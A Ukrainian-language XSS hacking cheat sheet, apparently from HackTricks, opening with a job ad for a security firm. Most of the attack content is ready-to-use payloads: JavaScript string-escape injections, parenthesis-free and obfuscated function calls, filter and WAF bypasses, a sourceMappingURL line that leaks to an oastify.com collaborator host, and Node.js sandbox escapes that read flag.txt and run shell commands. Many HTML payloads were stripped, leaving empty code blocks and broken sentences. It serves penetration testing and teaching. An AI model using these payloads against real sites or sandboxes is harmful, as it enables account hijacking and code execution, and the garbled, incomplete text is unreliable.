# XSS (Cross Site Scripting)
Якщо вас цікавить **кар'єра хакера** і взламати невзламне - **ми шукаємо співробітників!** (_вимагається вільне письмо і мовлення польською_). {% embed url="https://www.stmcyber.com/careers" %} ## Методологія 1. Перевірте, чи **будь-яке значення, яким ви керуєте** (_параметри_, _шлях_, _заголовки_?, _куки_?) відображається в HTML або **використовується** **JS** кодом. 2. **Знайдіть контекст**, де воно відображається/використовується. 3. Якщо **відображається** 4. Перевірте, **які символи ви можете використовувати** і в залежності від цього підготуйте навантаження: 5. У **чистому HTML**: 6. Чи можете ви створити нові HTML теги? 7. Чи можете ви використовувати події або атрибути, що підтримують протокол `javascript:`? 8. Чи можете ви обійти захисти? 9. Чи HTML-контент інтерпретується будь-яким клієнтським JS движком (_AngularJS_, _VueJS_, _Mavo_...), ви можете використати [**Внедрення шаблонів на клієнтському боці**](../client-side-template-injection-csti.md). 10. Якщо ви не можете створити HTML теги, які виконують JS код, чи можете ви використати [**Висячий маркер - HTML внедрення без скриптів**](../dangling-markup-html-scriptless-injection/)? 11. У межах **HTML тегу**: 12. Чи можете ви вийти в чистий HTML контекст? 13. Чи можете ви створити нові події/атрибути для виконання JS коду? 14. Чи атрибут, де ви застрягли, підтримує виконання JS? 15. Чи можете ви обійти захисти? 16. У межах **JS коду**: 17. Чи можете ви вийти з тегу ``** сторінки HTML, всередині файлу `.js` або всередині атрибуту, використовуючи протокол **`javascript:`**: * Якщо відображається між тегами **``**, навіть якщо ваш ввід знаходиться всередині будь-яких лапок, ви можете спробувати впровадити `` та вийти з цього контексту. Це працює, оскільки **браузер спочатку аналізує теги HTML**, а потім вміст, тому він не помітить, що ваш впроваджений тег `` знаходиться всередині HTML-коду. * Якщо відображається **всередині рядка JS** і попередній трюк не працює, вам потрібно буде **вийти** з рядка, **виконати** свій код і **перебудувати** код JS (якщо виникне помилка, вона не буде виконана): * `'-alert(1)-'` * `';-alert(1)//` * `\';alert(1)//` * Якщо відображається всередині шаблонних літералів, ви можете **вбудовувати вирази JS** за допомогою синтаксису `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` * **Кодування Unicode** працює для написання **дійсного коду JavaScript**: ```javascript \u{61}lert(1) \u0061lert(1) \u{0061}lert(1) ``` #### Підняття Javascript Підняття Javascript посилається на можливість **оголошення функцій, змінних або класів після їх використання, щоб ви могли використовувати сценарії, де XSS використовується невизначені змінні або функції.**\ **Перевірте наступну сторінку для отримання додаткової інформації:** {% content-ref url="js-hoisting.md" %} [js-hoisting.md](js-hoisting.md) {% endcontent-ref %} ### Функція Javascript На декількох веб-сторінках є кінцеві точки, які **приймають як параметр назву функції для виконання**. Загальним прикладом, який можна побачити в дикій природі, є щось на зразок: `?callback=callbackFunc`. Добрим способом виявити, чи щось, що надається користувачем, намагається бути виконаним, є **зміна значення параметра** (наприклад, на 'Vulnerable') та перегляд консолі за помилками, подібними до: ![](<../../.gitbook/assets/image (651) (2).png>) У разі вразливості ви можете **спровокувати сповіщення**, просто відправивши значення: **`?callback=alert(1)`**. Однак дуже поширено, що ці кінцеві точки будуть **перевіряти вміст**, щоб дозволяти лише літери, цифри, крапки та підкреслення (**`[\w\._]`**). Однак, навіть з таким обмеженням, все ще можливо виконати деякі дії. Це тому, що ви можете використовувати ці дійсні символи для **доступу до будь-якого елемента в DOM**: ![](<../../.gitbook/assets/image (662).png>) Деякі корисні функції для цього: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` Ви також можете спробувати **запустити функції Javascript** безпосередньо: `obj.sales.delOrders`. Проте, зазвичай кінцеві точки, які виконують вказану функцію, є кінцевими точками без цікавого DOM, **інші сторінки в тому ж походженні** матимуть **цікавіший DOM** для виконання більше дій. Отже, для того, щоб **зловживати цією вразливістю в іншому DOM**, було розроблено використання **експлуатації методу виконання з тієї ж самої початкової точки (SOME)**: {% content-ref url="some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](some-same-origin-method-execution.md) {% endcontent-ref %} ### DOM Є **JS-код**, який **небезпечно** використовує деякі **дані, керовані зловмисником**, такі як `location.href`. Зловмисник може скористатися цим для виконання довільного JS-коду. {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} ### **Універсальний XSS** Цей тип XSS можна знайти **буде де**. Вони не залежать лише від використання клієнта веб-додатку, але від **будь-якого** **контексту**. Цей тип **довільного виконання JavaScript** може бути використаний навіть для отримання **RCE**, **читання** **довільних** **файлів** на клієнтах та серверах, та інше.\ Деякі **приклади**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) {% endcontent-ref %} {% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} [electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) {% endcontent-ref %} ## Обхід WAF кодуванням зображення ![з https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg) ## Впровадження всередину обробленого HTML Коли ваш ввід відображається **всередині HTML-сторінки** або ви можете вибрати і впровадити HTML-код в цьому контексті, **перше**, що вам потрібно зробити - перевірити, чи можете ви зловживати `<` для створення нових тегів: просто спробуйте **відобразити** цей **символ** та перевірте, чи він **кодується в HTML**, чи **видаляється**, чи він **відображається без змін**. **Тільки в останньому випадку ви зможете використати цей випадок**.\ Для цих випадків також **пам'ятайте** [**Впровадження шаблонів на клієнтському боці**](../client-side-template-injection-csti.md)**.**\ _**Примітка: HTML-коментар можна закрити за допомогою\*\*\*\***** ****`-->`**** ****або \*\*\*\*****`--!>`**_ У цьому випадку, якщо не використовується чорний/білий список, ви можете використовувати навантаження, подібні до: ```html ``` Але, якщо використовується чорний/білий список тегів/атрибутів, вам доведеться **перебирати теги**, які ви можете створити.\ Після того, як ви **визначите, які теги дозволені**, вам потрібно буде **перебрати атрибути/події** всередині знайдених дійсних тегів, щоб побачити, як ви можете атакувати контекст. ### Перебір тегів/подій Перейдіть на [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) та натисніть на _**Копіювати теги в буфер обміну**_. Потім надішліть їх усіх за допомогою Burp Intruder та перевірте, чи які-небудь теги не були виявлені як шкідливі WAF. Після того, як ви виявите, які теги можна використовувати, ви можете **перебрати всі події**, використовуючи дійсні теги (на тій самій веб-сторінці натисніть на _**Копіювати події в буфер обміну**_ та дотримуйтесь того ж процесу, що й раніше). ### Власні теги Якщо ви не знайшли жодного дійсного HTML тегу, ви можете спробувати **створити власний тег** та виконати JS-код з атрибутом `onfocus`. У запиті XSS вам потрібно закінчити URL символом `#`, щоб сторінка **фокусувалася на цьому об'єкті** та **виконувала** код: ``` /?search=#x ``` ### Ухилення від чорного списку Якщо використовується якийсь вид чорного списку, ви можете спробувати обійти його за допомогою деяких дурних трюків: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` Зверніть увагу, що якщо ви спробуєте **використовувати обидва** `URLencode + HTMLencode` в будь-якому порядку для кодування **пейлоаду**, це **не працюватиме**, але ви можете **поєднувати їх всередині пейлоаду**. **Використання шістнадцяткового та вісімкового кодування з `javascript:`** Ви можете використовувати **шістнадцяткове** та **вісімкове кодування** всередині атрибуту `src` тегу `iframe` (принаймні) для виклику **HTML тегів для виконання JS**: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### Зворотнє викрадення вкладки ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### XSS у "Невразливих тегах" (прихований ввід, посилання, канонічний, мета) З [**тут**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **тепер можливо зловживати прихованими вводами за допомогою:** ```html
Newsletter popup
``` З [**тут**](https://portswigger.net/research/xss-in-hidden-input-fields): Ви можете виконати **XSS-пакет всередині прихованого атрибуту**, якщо ви зможете **переконати** **жертву** натиснути **комбінацію клавіш**. У Firefox Windows/Linux комбінація клавіш - **ALT+SHIFT+X**, а на OS X - **CTRL+ALT+X**. Ви можете вказати іншу комбінацію клавіш, використовуючи іншу клавішу в атрибуті доступу до ключа. Ось вектор: ```markup ``` **Пейлоад XSS буде виглядати приблизно так: `" accesskey="x" onclick="alert(1)" x="`** ### Ухиляння від чорного списку Декілька трюків з використанням різних кодувань вже були викриті в цьому розділі. Поверніться, щоб дізнатися, де ви можете використовувати: * **Кодування HTML (теги HTML)** * **Кодування Unicode (може бути дійсним кодом JS):** `\u0061lert(1)` * **Кодування URL** * **Шістнадцяткове та вісімкове кодування** * **Кодування даних** **Ухиляння для тегів та атрибутів HTML** Прочитайте [Ухиляння від чорного списку попереднього розділу](./#blacklist-bypasses). **Ухиляння для коду JavaScript** Прочитайте [Ухиляння чорного списку JavaScript наступного розділу](./#javascript-bypass-blacklists-techniques). ### CSS-гаджети Якщо ви знайшли **XSS в дуже маленькій частині** веб-сайту, яка вимагає певного виду взаємодії (можливо, невелике посилання в підвалі з елементом onmouseover), ви можете спробувати **змінити простір, який займає цей елемент**, щоб максимізувати ймовірність виконання посилання. Наприклад, ви можете додати деякий стиль до елементу, наприклад: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` Але якщо WAF фільтрує атрибут стилю, ви можете використовувати CSS-гаджети, тому якщо ви знайдете, наприклад > .test {display:block; color: blue; width: 100%\} та > \#someid {top: 0; font-family: Tahoma;} Тепер ви можете змінити наше посилання і привести його до форми > \ Цей трюк був взятий з [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) ## Впровадження в код JavaScript У цих випадках ваш **ввід** буде **відображений всередині коду JS** файлу `.js` або між тегами `` або між подіями HTML, які можуть виконувати код JS або між атрибутами, які приймають протокол `javascript:`. ### Уникнення тегу \`, ви можете легко **уникнути закриття тегу ` ``` Зверніть увагу, що в цьому прикладі ми **навіть не закрили одинарну лапку**. Це тому, що **спочатку браузер виконує розбір HTML**, що включає визначення елементів сторінки, включаючи блоки скриптів. Розбір JavaScript для розуміння та виконання вбудованих скриптів відбувається лише після цього. ### Усередині коду JS Якщо `<>` санітізовані, ви все ще можете **екранувати рядок** там, де знаходиться ваш ввід, і **виконувати довільний JS**. Важливо **виправити синтаксис JS**, оскільки якщо є помилки, код JS не буде виконаний: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### Шаблонні літерали \`\` Для конструювання **строк** окрім одинарних та подвійних лапок JS також приймає **косі лапки** **` `` `** . Це відомо як шаблонні літерали, оскільки вони дозволяють вбудовувати **вирази JS** за допомогою синтаксису `${ ... }`.\ Отже, якщо ви помітили, що ваш ввід **відображається** всередині JS-строки, яка використовує косі лапки, ви можете зловживати синтаксисом `${ ... }` для виконання **довільного JS-коду**: Це можна **зловживати** використовуючи: ```javascript `${alert(1)}` `${`${`${`${alert(1)}`}`}`}` ``` ```````````````javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop(){return loop} loop`````````````` ``````````````` ### Виконання закодованого коду ```markup ``` **Javascript у коментарі** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **JavaScript без дужок** ````javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x``` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` // Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString // These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' // Error handler window.onerror=eval;throw"=alert\x281\x29"; onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 // Error handler + Special unicode separators eval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ```` * [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) * [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **Довільний виклик функції (alert)** ````javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Function('ale'+'rt(10)')``; [].constructor.constructor("alert(document.domain)")`` []["constructor"]["constructor"]`$${alert()}``` import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ```` ## **Уразливості DOM** Є **JS-код**, який використовує **ненадійні дані, керовані зловмисником**, такі як `location.href`. Зловмисник може скористатися цим для виконання довільного JS-коду.\ **Через розширення пояснення** [**уразливостей DOM було переміщено на цю сторінку**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} Там ви знайдете детальне **пояснення того, що таке уразливості DOM, як вони викликаються і як їх можна використовувати**.\ Також не забудьте, що **в кінці згаданого посту** ви знайдете пояснення про [**атаки DOM Clobbering**](dom-xss.md#dom-clobbering). ## Інші обхідні шляхи ### Нормалізований Юнікод Ви можете перевірити, чи **відображені значення** є **юнікодом нормалізовані** на сервері (або на клієнтській стороні) і скористатися цією функціональністю для обхіду захисту. [**Знайдіть приклад тут**](../unicode-injection/#xss-cross-site-scripting). ### Обхід флагу PHP FILTER\_VALIDATE\_EMAIL ```javascript ">"@x.y ``` ### Обхід Ruby-On-Rails Через **масове призначення RoR** у HTML вставляються лапки, після чого обмеження на лапки обходяться, і можна додати додаткові поля (onfocus) всередині тегу.\ Приклад форми ([з цього звіту](https://hackerone.com/reports/709336)), якщо ви відправите пейлоад: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` Пара "Ключ", "Значення" буде відображена так: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` ### Спеціальні комбінації ```markup alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) (function(x){this[x+`ert`](1)})`al` window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` ### XSS з внедренням заголовків у відповідь 302 Якщо ви виявите, що ви можете **внедрювати заголовки у відповідь 302 Redirect**, ви можете спробувати **змусити браузер виконати довільний JavaScript**. Це **не так просто**, оскільки сучасні браузери не інтерпретують тіло відповіді HTTP, якщо статус коду відповіді HTTP - 302, тому просто політ з перехопленням міжсайтових сценаріїв є безперспективним. У [**цьому звіті**](https://www.gremwell.com/firefox-xss-302) і [**цьому**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) ви можете прочитати, як ви можете перевірити кілька протоколів у заголовку Location та переконатися, чи дозволяє браузер переглядати та виконувати XSS-політ всередині тіла.\ Відомі протоколи: `mailto://`, `//x:1/`, `ws://`, `wss://`, _порожній заголовок Location_, `resource://`. ### Тільки літери, цифри та крапки Якщо ви можете вказати **зворотний виклик**, який JavaScript буде **виконувати**, обмежений лише цими символами. [**Прочитайте цей розділ цього посту**](./#javascript-function), щоб дізнатися, як скористатися цією поведінкою. ### Дійсні типи вмісту ` ``` Відповідь: * **модуль** (за замовчуванням, немає нічого пояснювати) * [**webbundle**](https://web.dev/web-bundles/): Web Bundles - це функція, яка дозволяє упаковувати набір даних (HTML, CSS, JS...) у файл **`.wbn`**. ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` * [**importmap**](https://github.com/WICG/import-maps)**:** Дозволяє покращити синтаксис імпорту ```html ``` Це поведінка використовувалася в [**цьому описі**](https://github.com/zwade/yaca/tree/master/solution), щоб перенаправити бібліотеку на eval для зловживання нею та спровокування XSS. * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ця функція в основному призначена для вирішення деяких проблем, спричинених попереднім рендерингом. Вона працює наступним чином: ```html ``` ### Веб-типи вмісту для XSS (З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Наступні типи вмісту можуть виконувати XSS у всіх браузерах: * text/html * application/xhtml+xml * application/xml * text/xml * image/svg+xml * text/plain (?? не в списку, але я думаю, що я бачив це на CTF) * application/rss+xml (вимкнено) * application/atom+xml (вимкнено) У інших браузерах інші **`Content-Types`** можуть бути використані для виконання довільного JS, перевірте: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### Тип вмісту xml Якщо сторінка повертає тип вмісту text/xml, можливо вказати простір імен та виконати довільний JS: ```xml hello ``` ### Спеціальні шаблони заміни Коли використовується щось на зразок **`"some {{template}} data".replace("{{template}}", )`**. Атакуючий може використовувати [**спеціальні заміни рядків**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) для спроби обійти деякі захисти: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))`` Наприклад, у [**цьому описі**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), це було використано для **екранування рядка JSON** всередині скрипта та виконання довільного коду. ### Кеш Chrome для XSS {% content-ref url="chrome-cache-to-xss.md" %} [chrome-cache-to-xss.md](chrome-cache-to-xss.md) {% endcontent-ref %} ### Втеча з XS Jails Якщо у вас є обмежений набір символів для використання, перевірте ці інші дійсні рішення для проблем XSJail: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` Якщо **все не визначено** перед виконанням ненадійного коду (як у [**цьому описі**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), можливо створити корисні об'єкти "з нічого", щоб зловживати виконанням довільного ненадійного коду: * Використання import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8"))) ``` * Доступ до `require` опосередковано [Згідно з цим](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) модулі обгортаються Node.js у межах функції, як показано нижче: ```javascript (function (exports, require, module, __filename, __dirname) { // our actual module code }); ``` Отже, якщо з цього модуля ми можемо **викликати іншу функцію**, можна використовувати `arguments.callee.caller.arguments[1]` з цієї функції, щоб отримати доступ до **`require`**: {% code overflow="wrap" %} ``` ``` {% endcode %} ```javascript (function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})() ``` Так само, як у попередньому прикладі, можна **використовувати обробники помилок** для доступу до **обгортки** модуля та отримання функції **`require`**: ```javascript try { null.f() } catch (e) { TypeError = e.constructor } Object = {}.constructor String = ''.constructor Error = TypeError.prototype.__proto__.constructor function CustomError() { const oldStackTrace = Error.prepareStackTrace try { Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace Error.captureStackTrace(this) this.stack } finally { Error.prepareStackTrace = oldStackTrace } } function trigger() { const err = new CustomError() console.log(err.stack[0]) for (const x of err.stack) { // use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter const fn = x.getFunction() console.log(String(fn).slice(0, 200)) console.log(fn?.arguments) console.log('='.repeat(40)) if ((args = fn?.arguments)?.length > 0) { req = args[1] console.log(req('child_process').execSync('id').toString()) } } } trigger() ``` ### Затемнення та Розширене Уникнення * **Різні методи затемнення на одній сторінці:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) * [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) * [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) * [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) * [http://www.jsfuck.com/](http://www.jsfuck.com) * Більш складений JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) * [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ 